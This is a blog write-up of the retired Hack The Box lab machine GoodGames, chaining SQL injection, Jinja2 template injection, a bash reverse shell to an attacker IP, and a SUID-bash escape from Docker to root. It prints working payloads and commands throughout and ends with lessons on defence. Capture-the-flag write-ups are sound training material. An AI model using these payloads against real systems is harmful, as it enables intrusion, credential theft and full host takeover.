root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat goodgames.md
// writeups

GoodGames

21 Feb 2022 · 14 min read
GoodGames - maquina de Hack The Box

Executive summary — GoodGames is a very instructive Easy Linux box chaining SQLi → SSTI → RCE → Docker escape → SUID → root. A classic SQL injection on the login form leaks the administrator's hash; inside the internal admin panel, a Server-Side Template Injection in Flask/Jinja2 gives command execution —but inside a Docker container, not on the host—; and an unrestricted host-mounted volume lets us plant a SUID bash and jump to the real system as root. A great box for understanding why «root in a container» isn't the same as «root on the box».

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.X.X

Attack map

[80] goodgames.htb → login
   │  SQLi (UNION) → admin hash → crack → "superadministrator"
   ▼
[internal-administration.goodgames.htb]  admin panel
   │  SSTI (Flask/Jinja2)  {{7*7}}→49  → RCE
   ▼
[DOCKER]  root@container  (172.19.0.2)
   │  /home/augustus mounted from host + SUID bash
   ▼
[SSH]  augustus@host → ./bash -p
   ▼
[ROOT]

1. Reconnaissance

As always, we start with a sweep of every TCP port, then a detailed scan of just the ones that are open:

nmap -p- -sS --min-rate 5000 10.129.X.X -oN all_ports.txt
nmap -p 22,80 -sC -sV 10.129.X.X -oN service_scan.txt

Why two passes:

  • -p- covers all 65535 ports so we don't miss a service on a non-standard port; --min-rate 5000 forces a high packet rate to keep the scan fast.
  • Once we know which ports are open, the second scan (-sC -sV) is slower but far more informative: it runs the default NSE scripts and fingerprints each service's version, which isn't worth doing against all 65535 ports.
22/tcp  open  ssh
80/tcp  open  http

Analysis: minimal surface —SSH plus a single web service—. With only one web port exposed, the entry point is almost certainly there.

2. Virtual hosts

The site uses name-based routing (virtual hosting): the server decides which application to serve based on the request's Host: header, not the IP. Without the right hostname we'd only ever see the default public site. We add both domains —the public one and the internal panel— to /etc/hosts:

10.129.X.X goodgames.htb internal-administration.goodgames.htb

The second domain, internal-administration.goodgames.htb, is the tell that there is a separate admin panel not meant to be reachable without knowing its exact name —security through obscurity, which here protects nothing—.

3. Web enumeration

http://goodgames.htb is a gaming forum portal whose only interactive surface, without valid credentials, is a login form. That's the mandatory starting point.

4. SQL Injection — credential exfiltration

The login's email field concatenates user input straight into the SQL query instead of using parameterised statements. That lets us close the original string and inject a UNION SELECT that appends rows from another table to the result.

Why it works: for a UNION SELECT to be accepted, it must return the same number of columns as the original query (usually probed with ' ORDER BY n-- - until it errors out, or with UNION SELECT NULL,NULL,... until the response stops erroring). In GoodGames the user table exposes four usable columns, so the final payload dumps id, email, password and name concatenated into a single text field so they show up in the login response:

email=' UNION SELECT 1,2,3,concat(id,':',email,':',password,':',name) FROM user-- -
1:admin:<hash>:Administrator

The password field is a hash, not a plaintext password: it needs cracking.

5. Cracking the hash

The hash's shape matches unsalted MD5 (32 hex characters, no algorithm prefix) —the weakest hash type there is: without a salt, two identical passwords always produce the same hash, which makes it vulnerable to dictionary attacks and precomputed tables. We save it and attack it with Hashcat and rockyou.txt:

echo "<hash>" > hash.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
superadministrator

6. Internal panel

With admin / superadministrator we log into http://internal-administration.goodgames.htb, the panel we discovered back in step 2, landing on the admin dashboard.

7. SSTI detection

The dashboard lets us edit the profile name, a free-text field that's later rendered in the UI —a perfect candidate for testing whether the backend's templating engine renders user input instead of treating it as plain text—. We try the classic math expression used to detect SSTI:

{{ 7*7 }}

The panel shows 49 instead of the literal {{ 7*7 }} → the template is being evaluated server-side. Confirmed Server-Side Template Injection on Flask/Jinja2 (Werkzeug).

8. Command execution (RCE)

A {{ 7*7 }} confirms the injection, but to run system commands we need to break out of the Jinja2 sandbox and reach a Python object that exposes the os module.

Why this particular gadget: namespace is a Jinja2-native object (meant for holding state variables inside {% for %} loops). Its __init__ method has a __globals__ attribute exposing the global Python namespace of the module it was defined in —and that module already has os imported—. It's a much shorter shortcut to command execution than the classic ''.__class__.__mro__[1].__subclasses__() chain.

{{ namespace.__init__.__globals__.os.popen('id').read() }}
uid=0(root) ...

Note: it's root, but —we'll confirm shortly— inside a container. The Flask app runs as root in there, common in poorly built Docker images, but that's not the same as root on the host.

9. Reverse shell

Running commands one at a time through SSTI is slow and awkward for further enumeration; we open a listener and fire an interactive reverse shell from the same gadget:

nc -lvnp 4444
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"').read() }}

The IP in the payload is our tun0 interface (HTB VPN) —swap it for your own—.

root@3a453ab39d3d:/backend#

The prompt itself (3a453ab39d3d, a typical container-ID hash) is already the first hint we're inside Docker.

10. Stabilise the shell

The shell nc gives us is a dumb shell: no job control, no tab completion, breaks on Ctrl+C. We upgrade it to a full TTY with the classic script + stty raw trick:

script /dev/null -c bash

Then, from our Kali terminal (backgrounding it, without closing the connection):

# Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm
stty rows 40 columns 150

That gives us a fully interactive shell, with history, working Ctrl+C, and the correct terminal size for the tools we're about to use.

11. Confirming Docker

Several signals, each sufficient on its own, confirm we're inside a container and not on the host:

ls -a /            # .dockerenv is present
cat /proc/1/cgroup # /docker/... paths
ip a               # 172.19.0.2

/.dockerenv is a file the Docker runtime always creates inside the containers it launches; /proc/1/cgroup shows PID 1 living in a cgroup with a /docker/<id> path instead of /; and the 172.19.0.0/16 range is the typical bridge network Docker creates for its containers.

12. Identifying the real host

We sweep the container's internal network looking for the gateway, which is usually the host running the Docker engine:

for i in {1..254}; do ping -c1 172.19.0.$i | grep "bytes from" & done
172.19.0.1

The container has neither nmap nor nc installed, so we check for open ports with Bash's /dev/tcp pseudo-device, which opens a TCP connection without any external tools:

for port in 22 80; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
22 open
80 open

The same ports 22 and 80 we saw open in the initial scan against 10.129.X.X: 172.19.0.1 is indeed the real host running the container.

13. Host-mounted volume

mount | grep augustus
/dev/sda1 on /home/augustus type ext4 ...

The key to the whole escape: /home/augustus isn't an ephemeral container folder, it's a volume mounted straight from the host's real disk (/dev/sda1, ext4 filesystem). Whatever we write there, as root inside the container, lands on the host owned by root —because, by default, Docker doesn't isolate user IDs (user namespaces): UID 0 in the container is the same UID 0 on the host—.

14. Escalation — SUID bash

We use that shared volume to plant a SUID binary: copy bash, make it owned by root, and give it the SUID bit so that whoever runs it gets an effective UID of root:

cp /bin/bash /home/augustus/bash
chown root:root /home/augustus/bash
chmod 4777 /home/augustus/bash
-rwsrwxrwx 1 root root ... /home/augustus/bash

The leading 4 in 4777 is the SUID bit; combined with root ownership, any host user who runs this binary does so with root privileges, even if their own account has none.

15. Host access

Back on our Kali box (outside the container), we SSH into the real host as augustus —the superadministrator password, the same one from the internal panel, is reused for this system account too—:

ssh augustus@10.129.X.X
# password: superadministrator

The SUID bash we planted from the container is already sitting in augustus's $HOME. We run it with -p so it preserves the effective UID (without -p, bash would drop it for safety on seeing real UID ≠ effective UID):

./bash -p
whoami
hostname
root
GoodGames

Confirmed: we're root on the real host (GoodGames), not the container.

16. Root flag

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdWeb loginSQL Injection (UNION) → hash dumpAdministrator credentials
RCEInternal panel (Flask)SSTI (Jinja2) → command executionRoot inside the container
Escape/RootDockerUnrestricted host-mounted volume + SUID bashRoot on the real host

Lessons learned

  • Classic SQLi still kills: always use parameterised queries, never concatenate user input into SQL.
  • SSTI = RCE: never put user input into a server-side rendered template, not even in an apparently harmless field like a profile name.
  • Root in a container isn't root on the host… unless you mount host volumes with loose permissions and no user namespaces, which is exactly what breaks isolation here.
  • Host↔container mounts should be read-only or use remapped UIDs whenever the process inside the container can run as root.
  • Credential reuse (admin panel → system SSH account) is what chains the Docker escape to the final access; a per-service password would have cut this chain.